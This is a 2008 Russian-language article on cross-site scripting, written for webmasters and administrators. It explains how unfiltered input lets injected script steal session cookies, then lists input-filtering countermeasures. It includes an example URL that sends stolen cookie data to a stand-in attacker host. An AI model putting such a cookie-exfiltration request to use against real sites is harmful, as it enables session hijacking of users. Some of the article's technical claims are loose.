L1F3.RU
   


Главная » Файлы » Статьи » Хакинг и безопасность

WEB Атаки класса Cross-Site-Scripting
[ ] 10.12.2008, 06:23
WEB Атаки класса Cross-Site-Scripting 

Во многих багтраках часто проскакивают уязвимости класса CSS. Многие люди, 
интересующиеся вопросами защиты информации, просто игнорируют данный класс атак. 
В данной статье я хочу привлечь их внимание к последствиям, к которым 
может привести использование WEB-приложений с ошибками программирования, 
а также указать меры противодействия данному классу атак. 

Cross-Site-Scripting - сценарий на стороне клиента, позволяющий выполнить 
клиентский код в пределах ВЕБ-среды пользователя. 

Клиентские языки включают в себя: 
- VBScript 
- DHTML / HTML / XHTML 
- JavaScript 
- Java-апплеты 
- Flash 
- ActiveX 
- XML/XSL 
- CSS 

Целью атаки может служить: 
- HTTP-клиент 
- WEB-броузер 
- Пользователь WEB-службы 

Cross-Site-Scripting относится к классу HTTP-атак. 
Задача атакующего заключается в том, чтобы модифицировать 
введенные данные, которые будут переданы WEB-приложению таким образом, 
чтобы заставить его выполнить код на языке HTTP клиента в пределах пользовательской 
Web среды, достигающей того же самого уровня доступа и привилегий как основной домен. 

Клиентские языки обладают большим количеством способностей для изменения 
содержания, структуры и стиля веб-страницы. 
Взаимосвязи клиентских языков создают увеличенных уровень доступа в пределах 
и вне доступного прикладного интерфейса (Document Object Model (DOM)), что 
позволяет читать и изменять данные, а также удаленно выполнять команды на сервере. 

Нападение: 

Примеров здесь можно привести море. Достаточно зайти на сайты типа BugTraq и 
ввести в поиске что-то типа "CSS" или "Cross-Site-Scripting". 

Я же хочу привести в пример cookies, потому как статей про это я читал мало. 
Множество WEB-приложений используют cookies, чтобы хранить HTTP состояние 
в течение сеанса пользователя. Это встречается часто в форумах, когда для каждого 
пользователя создается cookies файл, использующийся для его авторизации. 

Ткой сеанс может быть похищен и проанализирован атакующим, далее модифицирован 
и применен для вторжения в систему. 

Cookies маркированы доменом, от которого они были установлены. Программы Web 
просмотра или HTTP клиенты ограничивают просмотр сookies. 

Неконтролируемые входящие данные открывают доступ к данным cookie 
на домене, таким образом, перехватывая cookie. 

То есть атакующий создает программный код, позволяющий забрать cookies 
c сервера, после чего, модифицировав их, снова передать в качестве 
входного параметра запросом вида: 

http://www.hacker.com/cgi-bin/cookie_script.cgi?COOKIE=cookie_data 

Привлекательность данного метода заключается в том, что атаку данного класса можно 
реализовать разными способами, не оставляя никаких логов в системе. 

Борьба с атаками класса Cross-Site-Scripting: 

I // Если WEB-приложение допускает ввод HTML-тегов // 

Это самый опасный в плане безопасности вариант. 
В этом случае необходимо: 

- Разрешить только безопасные HTML тэги и атрибуты 
- Фильтровать любой ввод JavaScript/Java/VBScript/ActiveX/Flash 
- Фильтровать двойные и одинарные кавычки 
- Удалять все нулевые символы 

II // Если WEB-приложение не допускает ввод HTML-тегов // 

Здесь ситуация менее опасная, однако необходимо: 

- Фильтровать все HTML-символы: ">" = > > " < 
- Фильтровать двойные и одинарные кавычки 
- Удалять все нулевые символы 

Статья написана в помощь WEB-мастерам и системным администраторам. Целью статьи 
является привлечь их внимание к вопросу обеспечения защиты от атак класса 
Cross-Site-Scripting.


Категория: Хакинг и безопасность | Добавил: p3ntum
Просмотров: 516 | Загрузок: 0 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
|